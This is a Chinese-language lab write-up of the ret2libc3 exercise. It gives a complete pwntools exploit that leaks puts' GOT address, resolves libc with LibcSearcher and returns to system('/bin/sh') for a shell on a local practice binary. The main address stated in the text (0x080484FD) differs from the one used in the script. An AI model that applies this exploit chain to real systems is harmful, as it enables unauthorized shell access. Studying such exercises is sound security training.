实验三——ret2libc3地址泄露

我们完成了ret2libc1,ret2libc2两个实验,对getshell有了初步的了解,现在进行无system及/bin/sh函数的情况下获取权限,进行getshell。

调用IDA,查看主函数地址
实验三——ret2libc3地址泄露_第1张图片
得到主函数地址为0x080484FD

用【checksec】查看:不存在必要的保护
实验三——ret2libc3地址泄露_第2张图片

查看got表信息:【readelf -r ret2libc3】
实验三——ret2libc3地址泄露_第3张图片

写下脚本、运行脚本。

这里插入代码

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']

p=process('./ret2libc3')
elf=ELF('./ret2libc3')
main=0x08048618
payload='a'*(0x6c+4)+p32(elf.plt['puts'])+p32(main)+p32(elf.got['puts'])

p.recvuntil('?')

p.sendline(payload)

puts=u32(p.recv(4))
print('puts',hex(puts))
libc =LibcSearcher('puts',puts)
libcbase=puts-libc.dump('puts')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
print('system',hex(system))
print('binsh',hex(bin_sh))
payload='a'*(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)

p.sendline(payload)
p.interactive()

实验三——ret2libc3地址泄露_第4张图片
getshell

你可能感兴趣的:(pwn)